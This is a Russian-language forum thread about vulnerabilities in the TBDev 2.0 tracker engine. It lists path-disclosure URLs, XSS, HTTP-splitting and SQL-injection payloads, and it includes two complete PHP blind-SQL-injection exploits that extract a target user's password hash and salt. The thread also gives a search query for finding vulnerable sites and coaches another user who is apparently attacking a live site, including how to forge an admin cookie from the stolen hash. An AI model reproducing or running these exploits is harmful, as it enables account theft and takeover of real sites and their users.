Трекер-движок TBDev 2.0

Discussion in 'Веб-уязвимости' started by Qwazar, 5 Aug 2008.

  1. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Баги искал на, TBDev 2.0 Yuna Scatari Edition, подозреваю что в других редакциях они так-же работают:

    Раскрытие пути, если не залогинен:
    Code:
    confirm.php?id[]=
    themes/TBDev/stdfoot.php
    themes/TBDev/stdhead.php
    themes/Gray/stdhead.php
    delete.php
    captcha.php
    если залогинен:
    Code:
    thanks.php
    votesview.php
    takeedit.php
    comment.php?action=quote&cid[]=
    XSS
    Code:
    http://site/offcomment.php?action=<script>alert(/XSS/)</script>
    XSS в POST-запросе:
    Code:
    <form action="http://site/getrss.php" method="POST">
    <input type="text" name="cat[1]" value="&lt;script&gt;alert(/XSS/)&lt;/script&gt;">
    <input type="submit">
    </form>
    HTTP Splitting (требуются права модератора)
    Code:
    <form action="http://site/comment.php?action=edit&cid=[B]ID_комментария[/B]" method="POST">
    <input type="text" name="returnto" value="%0d%0a%0d%0a&lt;script&gt;alert(document.cookie)&lt;/script&gt;">
    <input type="text" name="text" value="any_text">
    <input type="submit">
    </form>
    Вместо "ID_комментария" надо подставить id реально существующего комментария. Так же эта бага позволяет отредиректить модератора на любой домен (проверки на то что адрес назначения находится на том-же домене, нет).

    Ищется в гугле, как: "Powered by TBDev v2.0"

    В общем, всё что нашёл сегодня, багов на порядок больше, но искал не оч. глубоко.
     
    #1 Qwazar, 5 Aug 2008
    Last edited: 5 Aug 2008
    15 people like this.
  2. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    HTTP Splitting (простого пользователя достаточно):
    Code:
    <form action="http://site/message.php?action=takemessage" method="POST">
    <input type="text" name="receiver" value="1">
    <input type="text" name="origmsg" value="1">
    <input type="text" name="returnto" value="%0d%0a%0d%0a&lt;script&gt;alert(document.cookie)&lt;/script&gt;">
    <input type="text" name="msg" value="msg">
    <input type="text" name="subject" value="subject">
    <input type="submit">
    </form>
    XSS в POST запросе (требуются права модератора):
    Code:
    <form action="http://site/message.php?action=mass_pm" method="POST">
    <input type="text" name="n_pms" value="&lt;script&gt;alert(/XSS1/)&lt;/script&gt;">
    <input type="text" name="pmees" value="&lt;script&gt;alert(/XSS2/)&lt;/script&gt;">
    <input type="submit">
    </form>
    Там же, XSS в Referer(требуются права модератора)
    Code:
    Referer: ><script>alert(/Hi/)</script>
    SQL Inj(требуются права модератора)
    Code:
    <form action="http://site/nowarn.php" method="POST">
    <input type="text" name="nowarned" value="nowarned">
    <input type="text" name="usernw[]" value="SQL">
    <input type="submit">
    </form>
    Запрос: SELECT modcomment FROM users WHERE id IN (SQL)


    Blind SQL Inj
    (требуются права модератора)
    Code:
    <form action="http://site/nowarn.php" method="POST">
    <input type="text" name="nowarned" value="nowarned">
    <input type="text" name="usernw[]" value="1">
    <input type="text" name="desact[]" value="SQL">
    <input type="submit">
    </form>
    Запрос: UPDATE users SET enabled='no' WHERE id IN (SQL)
     
    #2 Qwazar, 5 Aug 2008
    Last edited: 5 Aug 2008
    2 people like this.
  3. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    SQL Inj
    Code:
    http://site/requests.php?action=reset&requestid=sql'
    Запрос: SELECT userid, filledby FROM requests WHERE id =sql'

    SQL Inj
    Code:
    http://site/requests.php?action=reset&requestid=sql'
    Запрос: SELECT userid, filledby FROM requests WHERE id =sql'

    SQL Inj:
    POST:
    Code:
    http://site/requests.php
    action=edit&category=1&id=SQL
    Запрос: UPDATE requests SET cat=1, request='', descr='' WHERE id=SQL

    Blind SQL Inj:
    POST:
    Code:
    http://site/offers.php
    action=edit&id=SQL
    
    Запрос: UPDATE offers SET category='', name='', descr='' WHERE id=SQL

    SQL Inj (требуются права модератора):
    POST:
    Code:
    http://site/offers.php
    deloffer=SQL
    Запрос: DELETE FROM offers WHERE id = SQL

    XSS
    Code:
    http://site/viewrequests.php?category=><script>alert(/XSS/)</script>
    XSS(требуются права модератора)
    Code:
    http://site/staffmess.php?returnto=><script>alert(/XSS/)</script>
    XSS in Referer:
    Code:
    http://site/offcomment.php?action=edit&cid=3
    Referer: ><script>alert(/XSS/)</script>
    Code:
    http://site/offcomment.php?action=vieworiginal&cid=3
    Referer: ""><script>alert(/XSS/)</script>
    
    HTTP Splitting (требуются права модератора):
    Code:
    http://site/offcomment.php?action=delete&cid=1&sure=1&returnto=<script>alert(document.cookie)</script>
    POST:
    Code:
    http://site/offcomment.php?action=edit&cid=3
    msg=msg&returnto=value
    
    З.Ы.
    Сори за неупорядоченность, постил по мере нахождения. Кстати, теперь по Powered by TBDev на второй строчке гугла находится античат :D
     
    #3 Qwazar, 5 Aug 2008
    Last edited: 5 Aug 2008
    2 people like this.
  4. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    TBDev v2.0 Blind SQL Injection Exploit
    Code:
    http://site/requests.php?action=reset&requestid=sql'
    Иньекция оказалось слепой, но с выводом ошибки поэтому использовал следующий запрос:
    Code:
    /requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+passhash+from+users+where+id=1),1,1))=[B][CHARCODE][/B],'1',(select+1+union+select+2))+--+
    Для запуска требуется логин/пароль любого зарегистрированного пользователя, кукисы сплоит запросит самостоятельно.

    Результат работы - hash, salt. hash закодирован как: md5($salt.$pass.$salt);

    Запускать так:
    Code:
    tbdev2sql.php url target_id login password
    Например tbdev2sql.php http://www.site.com/ 1 Vasya Pupkin

    Собственно код:
    Code:
    <?
    
    //TBDev2 Blind SQL Injection Exploit by Qwazar
    //Greets: +toxa+ & antichat.ru 
    
    set_time_limit(0);
    ignore_user_abort(1);
    
    function getcookie($url, $name, $password){
    	$res = send_xpl($url,"takelogin.php?username=$name&password=$password");
    	preg_match("/Set-Cookie: uid=(\d+)*;/", $res, $matches);
    	$uid=$matches[1];
    	preg_match("/Set-Cookie: pass=([\w+\d+]{32});/", $res, $matches);
    	$passhash=$matches[1];
    	$res = "uid=$uid; pass=$passhash;";
    	if(isset($uid)&&isset($passhash))
    		return $res;
    	else
    		return -1;
    }
    
    function send_xpl($url, $xpl){
    	global $id;
    	global $cookie;
    	$u=parse_url($url);
    	$req ="GET ".$u['path']."$xpl HTTP/1.1\r\n";
    	$req.="Host: ".$u['host']."\r\n";
    	$req.="Cookie: $cookie\r\n";
    	$req.="Connection: Close\r\n\r\n";
    	$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
    	fwrite($fs, $req);
    	while (!feof($fs)) {
      		$res .= fread($fs, 8192);
    	}
    	fclose($fs);
    	return $res;
    }
    
    function xpl($field ,$condition, $pos){
    	global $id;
    	$xpl="requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+$field+from+users+where+id=$id),$pos,1))$condition,'1',(select+1+union+select+2))+--+";
    	return $xpl;
    }
    
    if($argc<4)
    {
    echo "==================\r\n";
    echo "Using tbdev2sql.php url target_id login password\r\n  target_id - id of target member\r\n  login, password - login and password of any existing account\r\n\r\n\r\nEx.: tbdev2sql.php http://www.site.com/ 1 Alex Password\r\n";
    echo "==================\r\n";
    die();
    }
    
    $url=$argv[1];
    $id=$argv[2];
    $name=$argv[3];
    $password=$argv[4];
    
    echo $url.":".$name.":".$password."\r\n";
    
    echo "Trying to get your cookies... ";
    $cookie = getcookie($url, $name, $password);
    if($cookie!=-1)
    	echo "[DONE]\r\n";
    else
    	die("Can't get cookies.. Pass incorrect?\r\n");
    
    echo "Trying to get passhash: ";
    //get md5 pass
    for($i=1;$i<=32;$i++){	
    	$flag = 0;
    	for($j=48;$j<=57;$j++){
    		if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash",'='.$j,$i)))){ $pass.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
    		else {if($j!=48) {echo chr(8);} echo chr($j);}
    	}
    	if($flag!=1) {
    		for($j=97;$j<=102;$j++){
    			if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash",'='.$j,$i)))){ $pass.=chr($j); echo chr(8).chr($j); $flag=1; break; }
    			else {echo chr(8).chr($j);}
    		}
    	}
    	if (!$flag)
    		die("\r\nExploit failed\r\n");
    }
    
    echo " [DONE]\r\n";
    
    echo "Trying to get salt: ";
    //get secret (20 characters 1-9a-Z)
    for($i=1;$i<=20;$i++){
    	$flag = 0;
    	for($j=49;$j<=57;$j++){
    		if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); if($j!=49) {echo chr(8);} echo chr($j); $flag=1; break; }
    		else {if($j!=49) {echo chr(8);} echo chr($j);}
    	}
    	if($flag!=1) {
    		for($j=65;$j<=90;$j++){
    			if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
    			else {echo chr(8).chr($j);}
    		}
    	}
    	if($flag!=1) {
    		for($j=97;$j<=122;$j++){
    			if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
    			else {echo chr(8).chr($j);}
    		}
    	}
    	if (!$flag)
    		die("\r\nExploit failed\r\n");
    } 
    echo " [DONE]\r\n";
    
    
    ?>
    Скачать можно тут: скачать файл
     
    #4 Qwazar, 7 Aug 2008
    Last edited: 7 Aug 2008
    9 people like this.
  5. OMG!!

    OMG!! Elder - Старейшина

    Joined:
    25 Feb 2008
    Messages:
    230
    Likes Received:
    70
    Reputations:
    -3
    /requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+passhash+from+users+where+id=1),1,1))=[CHARCODE],'1',(select+1+union+select+2))+--+

    SQL ругается.. но иньекция не проходит. в чаркод что писать?.. кодировку базы? о_0

    tbdev2sql.php url target_id login password

    За скрипт спасибо, залил на хост юзаю..
    и апач говорит тут же, что не найден этот файл.. ммм. может я не так что-то делаю? :) ++
     
  6. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Чаркод - код символа, если символ находится на данной позиции, то ошибке не будет, если не находится - выдаст ошибку "Subquery returns" чтото там.

    Для passhash это числа от 48 до 57 включительно (0-9) и от 97 до 102 включительно (a-f).

    Позиция проверяемого символа задаётся в этом кусочке запроса:
    Code:
    (select+passhash+from+u sers+where+id=1),[B][POS][/B],1)
    Вместо [POS], для passhash подставляй цифры от 1 до 32.

    Если хочешь получить соль, то вместо "passhash" подставь "secret" и диапазоны pos - 1-20, charcode - 49-57,65-90,97-122 (включительно). Соль - 20 символов [1-9,a-Z]

    UPD: Блин, неправильно тебя понял. В общем его надо запускать из командной строки! А не из браузера.


    P.S.
    А вообще посмотри сплоит, код очень прост для понимания.
     
    #6 Qwazar, 13 Aug 2008
    Last edited: 13 Aug 2008
    1 person likes this.
  7. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Ещё XSS, требуются права модератора:
    Code:
    http://site/stats.php?uporder="><script>alert(/XSS/)</script>
    http://site/usersearch.php?r="><script>alert(/XSS/)</script>
    Для usersearch.php уязвимы параметры r,n,co,dl2,ls2,ul2,ls,d,em,ul,r2,dl,ma,ip,d2
     
    #7 Qwazar, 17 Aug 2008
    Last edited: 17 Aug 2008
  8. OMG!!

    OMG!! Elder - Старейшина

    Joined:
    25 Feb 2008
    Messages:
    230
    Likes Received:
    70
    Reputations:
    -3
    Qwazar, а как подставить куки в эксплоит.. я юзаю его на VDS. У себя дома с поддержкой CLI запустить не вышло.. зато на VDS по ssh пошло, как по маслу.. как подменить куки? +++
     
  9. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Ну вообще он при запуске требует логин/пароль и сам запрашивает куки.

    Но если очень хочется, можешь эту строку
    Code:
    $cookie = getcookie($url, $name, $password);
    заменить на
    Code:
    $cookie = "[B]А СЮДА ВСЁ ЧТО ХОЧЕШЬ[/B]"
     
  10. OMG!!

    OMG!! Elder - Старейшина

    Joined:
    25 Feb 2008
    Messages:
    230
    Likes Received:
    70
    Reputations:
    -3
    Запустил..

    Code:
    Trying to get your cookies... [DONE]
    Trying to get passhash: b51f02706ed3113b1b533f4f16282747 [DONE]
    Trying to get salt: lz
    Exploit failed
    
    соль не подбирает.. значит дырку прикрыли? может существуют методы?
     
  11. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Нет, дырку не прикрыли, видимо просто на 3м символе соли сервер перестал отвечать. Тут есть 2 варианта:
    1) Переписать сплоит так, чтобы использовался бинарный поиск (так уменьшится количество запросов)
    2) Удалить всё между
    Code:
    echo "Trying to get passhash: ";
    и
    Code:
    echo "Trying to get salt: ";
    и подбирать только соль, так же можно в оставшемся цикле подкручивать начальное значение $i, в твоём случае можно поставить $i=2 , т.к. первый символ соли ты подобрал.
     
  12. OMG!!

    OMG!! Elder - Старейшина

    Joined:
    25 Feb 2008
    Messages:
    230
    Likes Received:
    70
    Reputations:
    -3
    Qwazar, я удалял цикл получения хеша.. толку мало, все равно lz и дальше не идет..( z - не успел перебрать.. только один символ значит. ) Пробовал менять значение $i= на 2-ю букву.. 3-ю... и т.д. в обоих случаях получаю :

    Code:
    1) Переписать сплоит так, чтобы использовался бинарный поиск (так уменьшится количество запросов)
    как? :D ++++
     
  13. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Хмм.. Возможно у тебя чуть другая версия TBDev, тогда может у тебя соль не [1-9,a-Z], а [0-9,a-Z]. Попробуй в том цикле, где ищется соль, поменять
    Code:
    for($j=49;$j<=57;$j++){
    на
    Code:
    for($j=48;$j<=57;$j++){
    .
     
  14. OMG!!

    OMG!! Elder - Старейшина

    Joined:
    25 Feb 2008
    Messages:
    230
    Likes Received:
    70
    Reputations:
    -3
    Попробовал.. как результат:

    И на другой ID атака.. :

    Версия 2.0 вроде ) хеш же тащит..как вытащить соль?)) :p


    все-таки с солью что-то не то.. как я поменял алгоритм ( с нуля поиск ) то теперь в соли первые нули.. а тогда, когда эксплоитил без изменений - соль была слегка другой ( первый символ )
     
  15. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Замени кусок с солью, на:

    Code:
    echo "Trying to get salt: ";
    //get secret (20 characters 1-9a-Z)
    for($i=1;$i<=20;$i++){
    	$flag = 0;
    	for($j=48;$j<=57;$j++){
    		if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
    		else {if($j!=48) {echo chr(8);} echo chr($j);}
    	}
    	if($flag!=1) {
    		for($j=65;$j<=90;$j++){
    			if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
    			else {echo chr(8).chr($j);}
    		}
    	}
    	if($flag!=1) {
    		for($j=97;$j<=122;$j++){
    			if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
    			else {echo chr(8).chr($j);}
    		}
    	}
    	if (!$flag)
    		die("\r\nExploit failed\r\n");
    } 
    echo " [DONE]\r\n";
    Если и это не поможет, поиграй с диапазонами во внутренних циклах, возможно в соли встречаются какието другие символы, ещё возможно то что она короче. Хз почему так, может какой мод установлен. На родном TBDev2 всё пашет на ура.
    Подробнее - нет, т.к. считаю это неправильным. Если ты встречался с перлом, то проблем php у тебя не вызовет. Почитай статьи, покопайся для начала сам.
     
    1 person likes this.
  16. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Прошу прощения за то что долго не отвечал :)

    Новая версия сплоента, использует бинарный поиск (что делает его предпочтительнее прошлого варианта ввиду логарифмической сложности поиска, а значит и меньшем количестве запросов к серверу, во время атаки), так-же перед атакой проверяет уязвима ли цель. Поиск по соли идёт теперь в диапазоне от 0 до 255, т.к. есть данные, что соль в разных версиях (или с какими нибудь модами) генерится по разному.

    Code:
    <?
    
    //TBDev2 Blind SQL Injection Exploit by Qwazar
    //Greets: +toxa+ & antichat.ru 
    
    set_time_limit(0);
    ignore_user_abort(1);
    Error_Reporting(E_ALL & ~E_NOTICE);
    
    function getcookie($url, $name, $password){
    	$res = send_xpl($url,"takelogin.php?username=$name&password=$password");
    	preg_match("/Set-Cookie: uid=(\d+)*;/", $res, $matches);
    	$uid=$matches[1];
    	preg_match("/Set-Cookie: pass=([\w+\d+]{32});/", $res, $matches);
    	$passhash=$matches[1];
    	$res = "uid=$uid; pass=$passhash;";
    	if(isset($uid)&&isset($passhash))
    		return $res;
    	else
    		return -1;
    }
    
    function send_xpl($url, $xpl){
    	global $id;
    	global $cookie;
    	$u=parse_url($url);
    	$req ="GET ".$u['path']."$xpl HTTP/1.1\r\n";
    	$req.="Host: ".$u['host']."\r\n";
    	$req.="Cookie: $cookie\r\n";
    	$req.="Connection: Close\r\n\r\n";
    	$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
    	fwrite($fs, $req);
    	while (!feof($fs)) {
      		$res .= fread($fs, 8192);
    	}
    	fclose($fs);
    	return $res;
    }
    
    function xpl($field, $condition, $pos){
    	global $id;
    	$xpl="requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+$field+from+users+where+id=$id),$pos,1))$condition,'1',(select+1+union+select+2))+--+";
    	return $xpl;
    }
    
    function cond($url, $field, $cond, $pos, $ch) {
    	if(!preg_match('/Subquery returns/', send_xpl($url, xpl($field,$cond.$ch,$pos))))
    		return 1;
    	else
    		return 0;
    
    }
    
    function isVulnerable($url) {
    	if(preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1))))
    		return 1;
    	else
    		return 2;
    }
    
    function getChar($url, $field, $pos, $lb=0, $ub=255) {
    	while(true) {
    		$M = floor($lb + ($ub-$lb)/2);
    		if(cond($url, $field, '<', $pos, $M)==1) {
    			$ub = $M - 1; 
    		}
    		else if(cond($url, $field, '>', $pos, $M)==1) {
    			$lb = $M + 1;
    		}
    		else
    			return chr($M);
    		if($lb > $ub)
    			return -1;
    	}
    }
    
    if($argc<4)
    {
    echo "==================\r\n";
    echo "Using tbdev2sql.php url target_id login password\r\n  target_id - id of target member\r\n  login, password - login and password of any existing account\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1 Alex Password\r\n";
    echo "==================\r\n";
    die();
    }
    
    $url=$argv[1];
    $id=$argv[2];
    $name=$argv[3];
    $password=$argv[4];
    
    echo $url.":".$name.":".$password."\r\n";
    
    echo "Trying to get your cookies... ";
    $cookie = getcookie($url, $name, $password);
    if($cookie!=-1)
    	echo "[DONE]\r\n";
    else
    	die("Can't get cookies.. Pass incorrect?\r\n");
    
    if(!isVulnerable($url))
    	die("Exploit failed: Target is not vulnerable");
    
    echo "Trying to get passhash: ";
    for($i=1;$i<=32;$i++){	
    	$c = getChar($url, "passhash", $i, 47, 103);
    	if($c==-1)
    		die("\r\nExploit failed\r\n");
    	else 
    		echo $c;
    }
    echo " [DONE]\r\n";
    
    echo "Trying to get salt: ";
    for($i=1;$i<=20;$i++){	
    	$c = getChar($url, "secret", $i);
    	if($c==-1)
    		die("\r\nExploit failed\r\n");
    	else 
    		echo $c;
    }
    echo " [DONE]\r\n";
    
    
    ?>
    Скачать можно тут: http://www.x2b.ru/get/3447

    Как защититься, читаем тут: https://forum.antichat.ru/thread30641.html

    Не забыть и про остальные файлы кроме requests.php, двиг дырявый, я вполне мог чтото и просмотреть.

    З.Ы.
    Да и вообще хозяйке на заметку - бинарный поиск вечно рулит, незачем писать перебор в лоб и слать по 16 запросов, на каждый символ, особенно критично если сплоент на бенчмарке.
     
    #16 Qwazar, 20 Sep 2008
    Last edited: 20 Sep 2008
    2 people like this.
  17. Red Virus

    Red Virus New Member

    Joined:
    11 Aug 2008
    Messages:
    9
    Likes Received:
    2
    Reputations:
    0

    вставь пас хеш в куки и будет тебе счастье :)
     
  18. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    А что не так с солью?

    Как я уже писал:
    Результат работы - hash, salt. hash закодирован как: md5($salt.$pass.$salt);

    Соль - 20 символов.
     
  19. DJ ][akep

    DJ ][akep Member

    Joined:
    27 Jan 2008
    Messages:
    93
    Likes Received:
    20
    Reputations:
    1
    Непойму строение кукисов
    Что первое
    mybbuser=3306_iIXAPC6fB3d7CqTrVbEg5kpw7Lt3aMCIv2JG8HLAep9GAtyWu6

    Объясни что сюда нужно править т.к. я в
    pass - правил добытый експлоитом хэш
    а в
    uid поставил 1 (типо админа)
    Но что в первом я непонял :(
     
  20. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    У меня:
    Жирным выделил то, что нужно поменять на passhash + не забудь uid сменить на 1. НА mybb* - забей, это для форума, сплоит эти поля не достаёт.
     
    #20 Qwazar, 25 Sep 2008
    Last edited: 25 Sep 2008